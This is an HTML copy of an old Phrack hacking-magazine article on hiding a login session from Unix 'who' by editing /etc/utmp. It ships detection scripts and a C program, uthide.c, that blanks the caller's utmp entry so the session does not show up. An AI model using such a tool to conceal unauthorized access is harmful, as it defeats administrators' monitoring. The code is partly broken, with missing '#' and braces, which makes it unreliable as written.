                             == Phrack Inc. ==

                    Volume Three, Issue 25, File 6 of 11

                           HIDING OUT UNDER UNIX

                                     by

                              BLACK TIE AFFAIR

                   --------------------------------------
                       HTML-version by Markus Hbner

Under Unix, a user can see who's currently logged into the system with
commands like 'who', 'finger' and 'w'. All these programs gather parts or
all of their information by looking at the file /etc/utmp.

This file contains one record for each terminal connected to the system and
activated for logins. The format of the record differs between the various
Unix versions, but there are common fields which exist on every popular Unix
descent: The name of the terminal device (ut_line) and the name of the user
logged in on that line (ut_user).

Though the design of the Unix operating system is basically (!) consistent,
this scheme shows some problems. The information whether a process is
considered to be a terminal session is not kept in the process itself, but
in a separate file. Thus, it is the duty of user mode programs to keep this
file up to date, and gives an excellent point for a hacker to put his drill
on. To be fair here, other operating systems have similar problems. But
we're talking Unix currently.

There is another mechanism available under Unix, which can provide
information about terminal sessions: The 'controlling tty'. The first
terminal device a process opens becomes that process controlling tty. Unix
uses this information internally to determine which processes should be
signaled when the user types one of the signal generating keys (CTRL-C,
CTRL-\ etc.) on the terminal. When such a character is encountered by the
terminal driver, all processes which have this terminal device as
controlling tty receive the signal corresponding to that character.

A process is not needingly an interactive session if it has a controlling
tty, though. Any process which opens a terminal device (which could be a
network process which uses a tty device for communication to another
machine) has this terminal as it's controlling tty.

As such, it is good practice to cross-check the contents of the utmp file
with all processes in the system which have a controlling tty. Two shell
scripts which exactly do this on BSD and System V Unix systems are included
at the end of this file. Both perform the same function: They use who(1) to
get a list of the sessions mentioned in the utmp file, and ps(1) to get a
list of all processes currently running. It outputs all processes which have
a controlling tty but are not visible with who(1). A little flaw here is the
fact that getty processes waiting on a terminal for someone to log in are
displayed.

The family of 'who'-programs just scans the utmp-file for entries which
belong to an active login session, and formats those records to be
human-readable. The decision whether an entry corresponds to an active
session is different under different Unix versions. Those who have the old
utmp file format (System III, System 5R1, BSD) look at the ut_user field. If
the first byte is non-null, the entry is considered to correspond to an
active session. Under System 5 since release 2, the utmp structure has been
enhanced to contain a type field (ut_type) which tells about the type of the
entry. who(1) only displays a record, when the ut_type field contains the
value USER_PROCESS (as defined in /usr/include/utmp.h). Other records are
ignored unless the -a option is specified to who(1).

Being invisible to the who-family of programs gives some advantage to a
hacker. He can stay in the system with a degraded risk of being discovered
by a system manager who spies around. Of course, a system with a properly
protected utmp file is not vulnerable to this kind of hide out, provided
that the hacker didn't manage to get root access. For clearance, a little C
program which demonstrates this kind of hideout is included in the shar file
at the end of this article. Just compile and run it with proper permissions
to see how to hide.

! /bin/sh
 This is a shell archive.  Remove anything before this line, then feed it
 into a shell via "sh file" or similar.  To overwrite existing files,
 type "sh file -c".
 The tool that generated this appeared in the comp.sources.unix newsgroup;
 send mail to comp-sources-unix@uunet.uu.net if you want that tool.
 If this archive is complete, you will see the following message at the end:
               "End of shell archive."
 Contents:  check.bsd check.sysv uthide.c
PATH=/bin:/usr/bin:/usr/ucb ; export PATH
if test -f 'check.bsd' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.bsd'\"
else
echo shar: Extracting \"'check.bsd'\" \(305 characters\)
sed "s/^X//" >'check.bsd' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps au) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if (ttys[$7] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X
X

END_OF_FILE
if test 306 -ne `wc -c <'check.bsd'`; then
    echo shar: \"'check.bsd'\" unpacked with wrong size!
fi
 end of 'check.bsd'
fi
if test -f 'check.sysv' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'check.sysv'\"
else
echo shar: Extracting \"'check.sysv'\" \(312 characters\)
sed "s/^X//" >'check.sysv' <<'END_OF_FILE'
X:
X
X(who ; echo "___" ; ps -fe) | awk '
X              if ($0 == "___")
X                       pslist = 1
X                       next
X
X               if ( pslist )
X                       if ($6 != "?" && ttys[$6] == 0)
X                               print $0
X
X                else
X                       if (substr($2, 0, 3) == "tty")
X                               id = substr($2, 4, 2)
X                               ttys[id] = 1
X                        else
X                               if ($2 == "console")
X                                       ttys["co"] = 1
X
X

END_OF_FILE
if test 313 -ne `wc -c <'check.sysv'`; then
    echo shar: \"'check.sysv'\" unpacked with wrong size!
fi
 end of 'check.sysv'
fi
if test -f 'uthide.c' -a "$1" != "-c" ; then
  echo shar: Will not clobber existing file \"'uthide.c'\"
else
echo shar: Extracting \"'uthide.c'\" \(1295 characters\)
sed "s/^X//" >'uthide.c' <<'END_OF_FILE'
X/* hide.c - needs write access to /etc/utmp */
X
Xinclude
Xinclude
Xinclude
X
Xdefine UTMP "/etc/utmp"
X
Xifndef INIT_PROCESS
X/* this is some system with this useless utmp format.  we assume bsd, but
X * it could well be system III or some other historic version.  but come
X * on, guys -- go the modern way ;-)
X */
Xdefine        BSD
Xendif
X
Xifdef BSD
Xdefine        strrchr rindex
Xelse
Xdefine bzero(s,n) memset(s,'\0',n)
Xendif
X
Xchar *
Xbasename(path)
X
X       char    *path;
X      char    *p, *strrchr();
X
X       return((path && (p = strrchr(path, '/'))) ? p+1 : path);
X
X
Xmain()
X
X      struct  utmp    ut;
X       int             fd;
X       char            *strrchr();
X       char            *ttyname(), *tty = basename(ttyname(0));
X
X       if (!tty)
X               puts("not on a tty");
X               exit(1);
X
X
X       if ((fd = open(UTMP, O_RDWR)) < 0)
X               perror(UTMP);
X               exit(2);
X
X
X       while (read(fd, &ut, sizeof(ut)) == sizeof(ut))
X               if (!strncmp(ut.ut_line, tty, sizeof(ut.ut_line)))
X                       bzero(ut.ut_name, sizeof(ut.ut_name));
Xifndef BSD
X                       ut.ut_type = INIT_PROCESS;
X                       ut.ut_pid = 1;
Xelse
X                       bzero(ut.ut_host, sizeof(ut.ut_host));
Xendif BSD
X                       if (lseek(fd, -sizeof(ut), 1) < 0)
X                               puts("seek error");
X                               exit(3);
X
X                       if (write(fd, &ut, sizeof(ut)) != sizeof(ut))
X                               puts("write error");
X                               exit(4);
X
X                       exit(0);
X
X
X
X       puts("you don't exist");
X       exit(5);
X

END_OF_FILE
if test 1296 -ne `wc -c <'uthide.c'`; then
    echo shar: \"'uthide.c'\" unpacked with wrong size!
fi
 end of 'uthide.c'
fi
echo shar: End of shell archive.
exit 0

                         Back to the Security-Page
